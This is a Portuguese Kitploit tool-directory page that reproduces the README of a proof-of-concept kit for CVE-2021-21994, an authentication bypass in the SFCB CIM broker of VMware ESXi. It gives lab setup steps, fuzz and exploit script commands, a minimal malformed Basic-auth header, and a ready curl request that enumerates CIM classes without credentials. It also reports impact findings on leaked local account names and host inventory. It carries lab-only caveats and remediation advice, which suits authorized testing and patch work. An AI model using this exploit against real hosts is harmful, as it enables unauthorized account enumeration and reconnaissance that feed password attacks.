Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2021-21994_POC — Valida e explora o bypass de autenticação SFCB do VMware ESXi (CVE-2021-21994) por meio de um harness de probe/fuzz, permitindo enumeração CIM-XML não autenticada. | Kitploit
Ferramentas/GitHubGitHub/mreza-en/cve-2021-21994_poc
Análise de VulnerabilidadesExploraçãoColeta de InformaçõesFuzzingTestes de PenetraçãoAutenticação
GitHubmreza-en/cve-2021-21994_poc

cve-2021-21994_POC

Valida e explora o bypass de autenticação SFCB do VMware ESXi (CVE-2021-21994) por meio de um harness de probe/fuzz, permitindo enumeração CIM-XML não autenticada.

Ver Repositório
7há 26 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-21994 — VMware ESXi SFCB Bypass de Autenticação — Kit de Pesquisa de Laboratório

CampoValor
TipoCWE-287 Autenticação Incorreta (bypass de autenticação)
ComponenteSFCB (Small Footprint CIM Broker) dentro do VMware ESXi
Vetor de ataqueRede, TCP 5989 (CIM-XML sobre HTTPS), "requisição especialmente elaborada"
AfetadosESXi 6.5 / 6.7 / 7.0 anteriores ao VMSA-2021-0014 (julho de 2021)
Correçãobuilds corrigidas do VMSA-2021-0014
PoC PúblicoNenhum. A VMware nunca divulgou o formato da requisição

Referências: NVD · VMSA-2021-0014 (Broadcom) · SentinelOne DB

Como não existe PoC, este kit é um harness do tipo 'encontre-você-mesmo': sfcb_probe.py valida um oráculo (check) e, em seguida, lança um dicionário de mutação direcionado em /cimom (fuzz) e sinaliza qualquer 200-com-corpo-CIM obtido sem credenciais válidas.

Use apenas contra sua própria VM de laboratório ou alvos explicitamente dentro de um escopo de compromisso autorizado.

1. Configuração do laboratório (corresponda ao alvo: ESXi 6.5)

  1. Obtenha uma ISO do ESXi 6.5 (qualquer build anterior a julho de 2021 funciona; idealmente a mesma classe de build 6.5.0 do alvo):
    • Portal de suporte da Broadcom (conta gratuita) → downloads do VMware vSphere Hypervisor 6.5
    • Os downloads de "imagem ESXi 6.5 personalizada" da HPE / Dell são públicos em seus sites de suporte
  2. VM aninhada no VMware Workstation/Fusion (ou KVM):
    • Ative "Virtualize Intel VT-x/EPT" na VM
    • 2 vCPUs, 6 GB de RAM, disco fino; NIC E1000 para o instalador
    • Instale no modo de avaliação — nenhuma chave de licença é necessária para um laboratório
  3. Habilite o broker CIM e seu conjunto de regras de firewall (DCUI → Troubleshooting → habilite ESXi Shell/SSH e, em seguida, via SSH):
    root@kitploit:~
    /etc/init.d/sfcbd-watchdog status || /etc/init.d/sfcbd-watchdog start
    esxcli network firewall ruleset set --ruleset-id=CIMHttpsServer --enabled=true
    esxcli network firewall ruleset list | grep -i cim
    esxcli network ip connection list | grep 5989   # must LISTEN
    
  4. Tire um snapshot da VM (estado limpo para testar novamente contra ela).

2. Execute o harness

root@kitploit:~
# establish the oracle first (needs a real local ESXi account, e.g. root)
python3 sfcb_probe.py check 192.168.x.x -u root -P 'lab-password'

# expect: no-auth -> 401, bogus -> 401, valid -> 200
# then fuzz (uses only bogus/no creds, never your real ones):
python3 sfcb_probe.py fuzz 192.168.x.x --dump out/

2b. DESCOBERTAS (laboratório + alvo ESXi 6.5, confirmado em 2026-08-15)

O bypass foi encontrado. Causa raiz: o sfcbd falha em aberto quando o token de autenticação Basic não é decodificado em um par user:password contendo um :.

Cabeçalho mínimo de PoC (base64 de root, sem dois-pontos):

root@kitploit:~
Authorization: Basic cm9vdA==

Matriz de evidências da execução do fuzz:

Formato da requisiçãoStatusSignificado
sem cabeçalho / user:pass b64 válido / : / root:401dois-pontos presentes → autenticação executada → rejeitado
b64("root") (sem dois-pontos)200 + corpo CIMsem dois-pontos → autenticação ignorada
b64("\0:\0") (string C vazia)200igual: sem dois-pontos
base64 inválido (espaço / BOM / prefixo Basic)200falha na decodificação → autenticação ignorada
Basic\tTOKEN (separador de tabulação)401a divisão por any-WSP é processada corretamente → autenticação executada
Basic␣␣TOKEN (espaço duplo)200divisão por espaço único → token começa com espaço → falha na decodificação

Uma resposta 200 carrega um envelope CIM-XML despachado dentro do CIMOM (por exemplo, ERROR CODE="5" Class not found), provando que a camada de autenticação HTTP foi ultrapassada — a requisição idêntica sem o cabeçalho malformado retorna 401.

Uso do exploit:

root@kitploit:~
python3 sfcb_exploit.py verify    192.168.x.x          # oracle proof, prints VULNERABLE
python3 sfcb_exploit.py classes   192.168.x.x          # dump class names of a namespace
python3 sfcb_exploit.py instances 192.168.x.x -c CIM_ComputerSystem

comando curl de uma linha para capturas de tela do relatório:

root@kitploit:~
curl -sk -X POST "https://192.168.x.x:5989/cimom" \
  -H 'Content-Type: application/xml; charset=utf-8' \
  -H 'CIMOperation: MethodCall' -H 'CIMMethod: EnumerateClassNames' \
  -H 'CIMObject: root/cimv2' -H 'Authorization: Basic cm9vdA==' \
  -d '<CIM CIMVERSION="2.0" DTDVERSION="2.0"><MESSAGE ID="1" PROTOCOLVERSION="1.0"><SIMPLEREQ><IMETHODCALL NAME="EnumerateClassNames"><LOCALNAMESPACEPATH><NAMESPACE NAME="root"/><NAMESPACE NAME="cimv2"/></LOCALNAMESPACEPATH></IMETHODCALL></SIMPLEREQ></MESSAGE></CIM>'

Impacto: acesso de leitura não autenticado ao broker CIM:

  • Enumeração de contas: as instâncias de VMware_Identity vazam todas as contas locais do ESXi (observado no laboratório 6.5: root, dcui, vpxuser — host gerenciado pelo vCenter — além de usuários personalizados), permitindo ataques direcionados de senha.
  • Inventário completo do host/hardware por meio das 436 classes expostas (sistema de computador, processadores, memória, armazenamento/datastores, endpoints de rede, versões de firmware/BIOS, sensores, identidade de software instalado).
  • Nenhum caminho de escrita: os serviços RBAC (VMware_RoleBasedAuthorizationService, CIM_PrivilegeManagementService) declaram métodos de perfil DMTF (AssignRoles, AssignAccess, ...) mas expõem nenhuma instância — os métodos são apenas de esquema. A criação/modificação de contas via CIM não é possível com este CVE; o teto de impacto é a divulgação não autenticada de informações.

Vereditos:

  • BYPASS-STRONG — HTTP 200 + corpo CIM-XML sem credenciais válidas → você encontrou o bypass; a requisição despejada é sua primitiva de exploit.
  • bypass-weak(200-no-cim-body) — 200, mas sem corpo CIM; inspecione o dump.
  • blocked / info(400) — rejeitado. Observação: um 400 normalmente significa que a requisição morreu antes de a autenticação ser avaliada — ainda é interessante, apenas não é um bypass.

Observação sobre corpos CIM feitos à mão: de acordo com a DSP0200, EnumerateInstanceNames exige o IPARAMVALUE ClassName. Um corpo sem ele pode ser rejeitado por motivos não relacionados à autenticação e envenenar o oráculo — o harness sempre envia o corpo correto segundo a especificação.

3. Roteiro se o dicionário não encontrar nada

O fuzzer cobre as formas clássicas de confusão do parser de autenticação HTTP. Se nenhuma atingir, o caminho restante (e definitivo) é a diffing binária:

  1. Baixe o VIB esx-base de uma build vulnerável (por exemplo, classe 6.5.0 GA) e uma build 6.5/6.7/7.0 corrigida pelo VMSA-2021-0014 do índice público de depósito da VMware: https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xml
  2. Extraia ambos os VIBs (eles são arquivos ar → carga útil vib → cpio), faça o diff dos binários sfcbd* com Ghidra + BinDiff.
  3. Concentre-se no parsing de cabeçalhos HTTP / decodificação Basic-auth / despacho do provedor de autenticação. O SFCB upstream de código aberto (sfcb da SBLIM no SourceForge) é uma referência estrutural útil para o caminho de código HTTP+auth, mesmo que o fork do ESXi seja modificado.
  4. Transforme o caminho de código corrigido na requisição exata elaborada, adicione-a ao harness, verifique na VM do laboratório — esse é o exploit real.

4. Notas operacionais para o relatório

  • Somente o oráculo (não autenticado → 401) já é um achado útil para endurecimento: a porta 5989 nunca deve ser acessível pela internet.
  • Se confirmado, remediação: aplique os patches VMSA-2021-0014+ (o ESXi 6.5 está em fim de vida útil — recomenda-se migração) ou coloque a porta 5989 em firewall.
Baixar ferramenta